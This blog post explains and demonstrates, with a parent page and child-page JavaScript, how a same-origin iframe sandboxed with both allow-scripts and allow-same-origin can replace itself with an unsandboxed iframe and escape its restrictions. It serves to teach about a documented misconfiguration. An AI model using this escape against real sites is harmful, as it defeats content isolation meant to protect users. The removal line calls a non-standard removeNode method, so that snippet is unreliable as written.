DEV Community

Daniel Dušek
Daniel Dušek

Posted on • Originally published at danieldusek.com

Escaping Improperly Sandboxed Iframes

Thanks to iframe's sandbox attribute, it is possible to specify restrictions applied on content displayed inside the iframe. The documentation strongly discourages from using both allow-scripts and allow-same-origin values due to security risks it may introduce. In this blogpost, I am going to explain and demonstrate why.

In Mozilla's developer documentation on <iframe>, you can find the following remark related to allow-scripts and allow-same-origin values of the sandbox attribute:

When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.

When I first read this note, I thought that escaping will be fairly straightforward:

  • Accessing window.parent from the page inside the iframe,
  • getting the iframe element reference via Document Object Model (DOM) functions, such as .getElementById() or .getElementsByTagName(),
  • removing the iframe's sandbox element via .removeAttribute("sandbox"),
  • calling alert() function to create a modal window despite allow-modals was not set for the iframe, hence escaping from the iframe's restrictions.

Unfortunatelly, this rather naïve approach does not work. From my experiments, the reason for that is the fact that browsers apply restrictions on the <iframe>'s content when loading the page. When I subsequently change or remove the sandbox attribute and then call "illegal" functions, browser will still block them.

On the following lines I will demonstrate the simplest solution I have been able to come up with. Before I get to it, let me explain the terminology I am using - a child page refers to a page that is being displayed in the iframe, while a parent page refers to a page that contains the <iframe> element.

Let's have a look at parent page, in index.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC - Discouraged combination of sandbox attribute values (parent page)</title>
</head>
<body>
    <iframe src="kid.htm" sandbox="allow-same-origin allow-scripts" id="escapeMe"></iframe>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

This is the page that we need to modify from the child page (kid.htm). To escape the iframe as I outlined above, I will be popping an alert() from the child page inside the parent.

One of the simplest solutions I have been able to come up with is to simply create a new iframe in place of the old one, and let the child page know it has been loaded in unrestricted mode. I will walk you through the process step by step.

First, I will obtain a reference to the parent window and verify the iframe in question still exists. If the original iframe is missing, it means that the child page is loaded from another iframe - the one we are going to create in step 2 as a replacement:

let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {
    // 1. Create replacement iframe
    // 2. Delete the old one
} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}
Enter fullscreen mode Exit fullscreen mode

In the second step, I expand the body of the condition to create unrestricted iframe and to remove the original one with restrictions:

let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {

    // 1. Create replacement iframe
    let replacement = parent.document.createElement("iframe");
    replacement.setAttribute("src", "kid.htm");
    replacement.setAttribute("id", "escapedAlready");
    parent.document.body.append(replacement);

    // 2. Delete the old one
    let original = parent.document.getElementById("escapeMe");
    original.parentNode.removeNode(original);

} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}
Enter fullscreen mode Exit fullscreen mode

Now, when the parent page loads the child page into the iframe with allow-scripts and allow-same-origin, the child page manages to escape the original iframe's restrictions and execute its code.

Both of the files I used in this demonstration are available on my Github. You can also try for yourself on my Github Pages.

Can you think of a simpler way to escape? Please let me know!

Discussion (0)